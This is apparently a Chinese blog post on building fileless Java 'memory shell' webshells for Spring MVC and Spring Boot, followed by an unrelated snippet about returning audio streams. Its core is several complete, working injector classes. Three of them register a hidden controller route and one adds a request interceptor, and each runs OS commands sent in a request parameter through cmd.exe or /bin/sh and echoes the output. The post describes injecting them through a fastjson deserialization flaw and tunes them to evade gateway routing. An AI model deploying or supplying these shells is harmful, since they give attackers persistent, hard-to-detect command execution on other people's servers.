Java内存马-SpringMVC篇

0、相关概念

0.1 ContextLoaderListener 与 DispatcherServlet

下面是一个典型 Spring 应用的 web.xml 配置示例:

<web-app xmlns:xsi="&lt;a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://java.sun.com/xml/ns/javaee"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">

    <display-name>HelloSpringMVC</display-name>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

    <servlet>
        <servlet-name>dispatcherServlet</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>dispatcherServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

在正式了解上面的配置前,先介绍下关于 Root ContextChild Context的重要概念:

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context;
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean;
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中.

0.1.1 ContextLoaderListener

ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean。

回到 web.xml 中,其相关配置如下:

<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

依照规范,当没有显式配置 ContextLoaderListener 的 contextConfigLocation 时,程序会自动寻找 /WEB-INF/applicationContext.xml,作为配置文件,所以其实上面的 <context-param> 标签对其实完全可以去掉。

0.1.2 DispatcherServlet

DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。DispatcherServlet 初始化完成后,会创建一个普通的 Child Context 实例。

从下面的继承关系图中可以发现: DispatcherServlet 从本质上来讲是一个 Servlet(扩展了 HttpServlet )。
在这里插入图片描述
回到 web.xml 中,其相关配置如下:

<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

上面给 org.springframework.web.servlet.DispatcherServlet 类设置了个别名 dispatcherServlet ,并配置了它的 contextConfigLocation 参数值为 /WEB-INF/dispatcherServlet-servlet.xml

依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 /WEB-INF/<servlet-name>-servlet.xml,作为配置文件。因为上面的 <servlet-name>dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件。

综上,可以了解到:每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器。

如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext。


1、SpringMVC Controller型

要实现SpringMVC的Controller型内存马,主要分以下三步:

  • (1) 获得当前代码运行时的上下文环境
  • (2) Controller 中的 Webshell 逻辑
  • (3) 手动注册Controller

1.1 获得当前代码运行时的上下文环境

1.1.1 方法一:getCurrentWebApplicationContext

如下图, getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext
在这里插入图片描述

1.1.2 方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦,其实拆分起来比较容易理解,主要是用 WebApplicationContextUtils的

public static WebApplicationContext getWebApplicationContext(ServletContext sc)

方法来获得当前上下文环境。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

剩余部分代码,都是用来获得 ServletContext 类的一个实例。仔细研究后可以发现,上面的代码完全可以简化成方法三中的代码。

1.1.3 方法三:RequestContextUtils

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

上面的代码使用 RequestContextUtils 的

public static WebApplicationContext findWebApplicationContext(HttpServletRequest request)

方法,通过 ServletRequest 类的实例来获得 WebApplicationContext。

如下图,可以发现此方法获得的是一个名叫 springmvc-servlet 的 Child WebApplicationContext。这个 springmvc-servlet 其实是配置中 springmvc-servlet.xml 的文件名。
在这里插入图片描述
在这里插入图片描述
进一步分析,代码中有个 RequestContextHolder.currentRequestAttributes() ,在前面的相关概念小节中已经提到过:

所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中.

然后如下图,查看当前所有的 attributes,发现确实保存有 Context 的属性名。
其中 org.springframework.web.servlet.DispatcherServlet.CONTEXTorg.springframework.web.servlet.DispatcherServlet.THEME_SOURCE 属性名中都存放着一个名叫 springmvc-servlet 的 Child WebApplicationContext
在这里插入图片描述

1.1.4 方法四:getAttribute

从方法三的分析来看,其实完全可以将存放在 ServletContext 属性中的 Context 取出来直接使用。在阅读相关源码后发现,上面代码中的 currentRequestAttributes() 替换成 getRequestAttributes() 也同样有效。

因此,使用以上代码也可以获得一个名叫 springmvc-servlet 的 Child WebApplicationContext

1.1.5 方法五: (仅适用于Springboot环境)

Springboot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象,这个类是Springboot里的类,所以这种方法仅适用于Springboot。

applicationContexts 属性定义如下所示:

private static final Set<ConfigurableApplicationContext> applicationContexts = new LinkedHashSet();

因为使用了 private static final 修饰符,所以可以直接反射获取属性值。

示例代码如下:

// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

1.1.6 注意事项

不同的映射处理器

如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 RequestMappingHandlerMapping 实例的 bean,但会存在 DefaultAnnotationHandlerMapping 的实例 bean。

<bean class="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter" />
Root Context 与 Child Context

上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 Child WebApplicationContext

这是因为:根据习惯,在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。

这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。

内存马使用场景

既然是通过执行 java 代码内存注入 webshell,那么一般需要通过代码执行漏洞才可以利用,例如较为常见的 Java原生或组件的反序列漏洞、普通的 JSP 文件 Webshell 转换成无文件 Webshell。

1.2 Controller 中的 Webshell 逻辑

Webshell逻辑就是通过request对象获取请求参数,然后执行参数指定的系统命令,最后通过response对象进行结果回显。

关键是如何获取requestresponse对象。

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

1.3 手动注册Controller

Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;

Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。

Controller内存马 - 实现方式1(Springboot环境受版本限制)

下面是@landgrey 给出的 SpringMVC Controller型内存马注入的代码如下(这里笔者利用fastjson 1.2.47 反序列化漏洞进行内存马注入):

SpringControllerMemShell.java

/**
 * 适用于 SpringMVC+Tomcat的环境,以及Springboot < 2.6.0环境
 *   Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell {

    public SpringControllerMemShell() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Method method2 = SpringControllerMemShell.class.getMethod("test");
            PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }

    public SpringControllerMemShell(String aaa) {
    }

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
}

通过fastjson 1.2.47 反序列化漏洞注入Controller内存马后,访问该内存马如下图:
在这里插入图片描述

关于代码里使用useDelimiter(“\A”) 的意思

正则表达式"\A"跟"^"的作用是一样的,代表文本的开头。
这里表示:以文本的开头作为分隔符分割文本(默认是使用空格作为分隔符)。
这样就能一下子获取整段文本的内容了,同时Scanner也在内部完成了InputStream转String的操作。
优点:节省书写代码,即不需要我们再写循环把inputStream的内容读到byte[]再放进String。
 
参考:
https://www.oschina.net/question/2346828_2267384


1.4 代码改进使Controller内存马适配Springboot 2.6.0 及以上版本

前面的测试是在SpringMVC 5.2.0 + Tomcat 的环境进行的,而在使用 Springboot 2.6.0 版本测试时,发现内存马注入后无法执行。而用低于2.6.0 版本的 Springboot是可以的。

下面是Springboot 2.5.12 环境下注入Controller内存马后的运行结果:
在这里插入图片描述
而在 Springboot 2.6.0 环境下注入Controller内存马后会报500错误,错误提示 java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH",如下图:
在这里插入图片描述
原因在于从 Springboot 2.6.0 版本开始,官方修改了url路径的默认匹配策略,版本发布日志部分如下:
在这里插入图片描述
如果在 Springboot 2.6.0 的环境下,通过 application.properties配置文件设置spring.mvc.pathmatch.matching-strategy的值为ant_path_matcher,即修改服务端的路径匹配策略为 AntPathMatcher,注入的Controller内存马后访问就没问题了。

但笔者目前暂时不清楚是否可以在注入内存马时修改这个路径匹配策略的默认配置。因此这里还是根据老套路,看看Springboot在启动服务时是如何将代码中的Controller一一创建出来,并保存在什么地方,然后客户端访问指定url时,服务端便会去这个地方去取。其中相关源码如下:

(1) AbstractHandlerMethodMapping#detectHandelrMethod()
在这里插入图片描述
其中,methods是一个map对象,Method对象作为键,相应的包含访问路径等信息的RequestMappingInfo对象作为值。最后遍历methods这个map集合,对每一项进行注册,即把每一个method、访问路径及Controller保存到 AbstractHandlerMethodMapping.MappingRegistry对象中。

再看一下methods里的每一项,作为key的Method对象很好理解,那作为value的RequestMappingInfo对象时如何创建的呢?还是上面的代码,它是由RequestMappingHandlerMapping#getMappingForMethod()方法创建的,该方法又调用了 RequestMappingInfo#createRequestMappingInfo(RequestMapping, RequestCondition)方法,来看一下createRequestMappingInfo(RequestMapping, RequestCondition) 方法的实现:
在这里插入图片描述
所以我们可以参照这段代码来得到RequestMappingInfo对象,在前面Controller-实现方式1的基础上进行修改,实现更通用的Controller内存马,经测试,以下内存马在Springboot 2.x 版本应该都是没问题的(测了2.2.02.5.122.6.02.6.6这几个版本)代码如下面的SpringControllerMemShell2.java 所示:

Controller内存马 - 实现方式2(推荐)

SpringControllerMemShell2.java

/**
 * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
 *   因此比 SpringControllerMemShell.java 更加通用
 *   Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell2 {

    public SpringControllerMemShell2() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringControllerMemShell2.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
                    .options(config)
                    .build();
            SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }

    public SpringControllerMemShell2(String aaa) {
    }

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
}

Controller内存马 - 实现方式3(推荐)

或者我们干脆直接调用RequestMappingHandlerMapping#getMappingForMethod()去获取RequestMappingInfo对象,经过测试确实可行,实现时要注意两点:

  • (1) RequestMappingHandlerMapping#getMappingForMethod()方法本身并没有接收method对应的url路径,它会从method的@RequestMapping注解中获取url路径。如果这个method没有被@RequestMapping或其子类如@GetMapping、@PostMapping注解的话,是无法得到RequestMappingInfo对象的,得到的是null
    在这里插入图片描述
    所以这种情况下,我们内存马定义具体的恶意操作方法时,必须加上Mapping类的注解,比如@RequestMapping("/malicious")

  • (2) 由于RequestMappingHandlerMapping#getMappingForMethod()方法不是public修饰的方法,所以需要使用反射调用。

综上,可得到另一种通用Controller内存马的实现方式:
SpringControllerMemShell3.java

/**
 * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
 *   因此比 SpringControllerMemShell.java 更加通用
 *   Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell3 {

    public SpringControllerMemShell3() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Method method2 = SpringControllerMemShell3.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

            Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
            getMappingForMethod.setAccessible(true);
            RequestMappingInfo info =
                    (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);

            SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }

    public SpringControllerMemShell3(String aaa) {
    }

    @RequestMapping("/malicious")
    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
}

还是利用fastjson 1.2.47 反序列化漏洞注入Controller内存马,演示如下gif:
在这里插入图片描述

2、SpringMVC Interceptor型

随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器之前往往需要经过 Load Balancer 和 API Gateway 等系统的流量转发。这样就导致在漏洞利用时可能会出现一个问题:如果请求的 url 是没有在网关系统注册的路由,在请求转发到真正的业务系统前就会被丢弃。

所以,在注入 Java 内存马时,尽量不要使用新的路由来专门处理我们注入的 Webshell 逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 Tomcat 容器下,有 FilterListener 可以达到上述要求。在 SpringMVC 框架层面下,Interceptor(拦截器) 可以满足要求.

2.1 正常的Interceptor开发流程

在平时基于Springboot的开发中,正常的自定义Interceptor流程如下:
(1) 创建自定义拦截器的类,同时实现HandlerInterceptor接口;

MyInterceptor.java

package me.mole.interceptor;

import org.springframework.context.annotation.Bean;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Component
public class MyInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  
        System.out.println("MyInterceptor preHandle() called...");
        //如果返回false,整个请求到这里就结束了。
        //  换言之,不再执行后面的拦截器以及Controller的处理.
        //如果返回true,则继续执行后面的拦截器以及Controller的处理.
        return false;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        //对resp
        System.out.println("MyInterceptor postHandle() called...");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("MyInterceptor afterCompletion() called, which means the request and response is completed...");
    }
}

(2) 创建配置类,同时实现WebMvcConfigurer接口,对自定义拦截器进行配置并注册.

MyInterceptorAppConfig.java

package me.mole.config;

import me.mole.interceptor.MyInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Component
public class MyInterceptorAppConfig implements WebMvcConfigurer {

    @Autowired
    private MyInterceptor myInterceptor;

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(myInterceptor)
                .addPathPatterns("/test/**"); //只针对url路径 /test 下的url请求进行拦截
    }
}

2.2 分析Interceptor的注册流程

可以在配置类MyInterceptorAppConfig中的addInterceptors()方法下断点,启动Springboot,命中断点,然后往前追溯,可以看到url映射处理器RequestMappingHandlerMapping会调用setInterceptors() 将Spring IoC容器中所有的Interceptor保存到自己的interceptors属性中,它是一个List集合。
在这里插入图片描述
然后继续运行至Springboot启动完成后,访问原有的Controller路由/test/index,发现会从RequestMappingHandlerMapping的父类私有属性adaptedInterceptors(一个List集合) 中获取所有的拦截器对象,其中就有我们自定义的拦截器MyInterceptor,它被封装到了一个MappedInterceptor对象中。
在这里插入图片描述
获取后HandlerExecutionChain将它们添加到属性interceptorList中,这同样是一个List集合。
在这里插入图片描述
那List集合 adaptedInterceptors里保存的拦截器对象又是从哪来的呢?没错,它来自前面提到的RequestMappingHandlerMapping的另一个父类私有属性interceptors,相关源码如下:
在这里插入图片描述
调用HandlerExecutionChain#applyPreHandle()方法开始遍历拦截器并执行它的preHandler()方法:
在这里插入图片描述
在这里插入图片描述

综上可知,要注入Interceptor内存马,只要将我们的Interceptor对象封装到MappedInterceptor对象中,然后将MappedInterceptor对象添加List集合adaptedInterceptors中即可。

2.3 Interceptor内存马 - 实现

SpringInterceptorMemShell.java

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.java2d.pipe.SpanShapeRenderer;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;

public class SpringInterceptorMemShell implements HandlerInterceptor {

    public SpringInterceptorMemShell() {
        try {
            WebApplicationContext context =
                    (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
//            SimpleUrlHandlerMapping simpleUrlHandlerMapping = context.getBean(SimpleUrlHandlerMapping.class);

            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandlerMapping);
//            List<HandlerInterceptor> simpleAdaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(simpleUrlHandlerMapping);

            MappedInterceptor mappedInterceptor =
                    new MappedInterceptor(new String[]{"/fj1247/**"}, new SpringInterceptorMemShell("abc"));
            adaptedInterceptors.add(mappedInterceptor);

            //这一步是可选的,只有当你需要在不存在的路由(即controller的url) 上访问该内存马才用.
//            simpleAdaptedInterceptors.add(mappedInterceptor);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public SpringInterceptorMemShell(String anyStr) {

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String scode = request.getParameter("scode");
        if (scode != null) {
            try {
                PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", scode});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", scode});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } catch (Exception e) {
            }

            return false;
        }

        //返回false的话,整个请求到这里就结束了。
        //  换言之,不再执行后面的拦截器以及Controller的处理.
        //如果返回true,则继续执行后面的拦截器以及Controller的处理.
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}

演示如下

还是跟之前一样,利用fastjson 1.2.47 反序列化漏洞来注入内存马(如上面的代码所示,本次注入的Interceptor内存马会拦截url路径 /fj1247 下的所有请求)。

注入内存马之后:

  • 访问原有的路由url /fj1247/hello:

(1) 不带指定参数scode,不影响原有业务的访问:
在这里插入图片描述
(2) 带上指定参数scode,则访问到了我们注入的Interceptor内存马:
在这里插入图片描述

  • 访问不存在的路由url /fj1247/halo:
    (1) 不带指定参数scode,则返回404页面;
    在这里插入图片描述
    (2) 带上指定参数scode,则访问到了注入的Interceptor内存马
    在这里插入图片描述

参考

[1] https://landgrey.me/blog/12/
[2] https://blog.csdn.net/maple_son/article/details/122572869
[3] https://liuyanzhao.com/1503010911382802434.html
[4] https://spring.io/blog/2021/11/19/spring-boot-2-6-is-now-available
[5] https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.6-Release-Notes
[6] https://landgrey.me/blog/19/

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SpringMVC 中,我们可以通过 ResponseBody 注解返回音频流,具体步骤如下: 1. 在 Controller 中定义一个返回类型为 ResponseEntity<byte[]> 的方法,该方法需要使用 @ResponseBody 注解标注。 2. 在方法中获取音频文件的字节数组,并将其放入 ResponseEntity 对象中返回。 3. 在 ResponseEntity 对象中设置 Content-Type、Content-Disposition 等响应头,以便浏览器正确解析音频流并进行播放。 示例代码如下: ```java @RequestMapping("/audio") @ResponseBody public ResponseEntity<byte[]> getAudio() throws IOException { // 读取音频文件字节数组 InputStream in = getClass().getResourceAsStream("/static/audio/sample.mp3"); byte[] audioBytes = IOUtils.toByteArray(in); // 设置响应头 HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.parseMediaType("audio/mpeg")); headers.setContentDispositionFormData("attachment", "sample.mp3"); // 返回音频流 return new ResponseEntity<>(audioBytes, headers, HttpStatus.OK); } ``` 上述代码中,我们将音频文件 sample.mp3 放在了项目的 /static/audio 目录下。在方法中,我们使用 IOUtils.toByteArray() 方法将音频文件转换为字节数组,并将其放入 ResponseEntity 对象中返回。在设置响应头时,我们使用 MediaType.parseMediaType() 方法设置 Content-Type,使用 setContentDispositionFormData() 方法设置 Content-Disposition。最后,我们通过 new ResponseEntity<>(audioBytes, headers, HttpStatus.OK) 创建 ResponseEntity 对象并返回。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值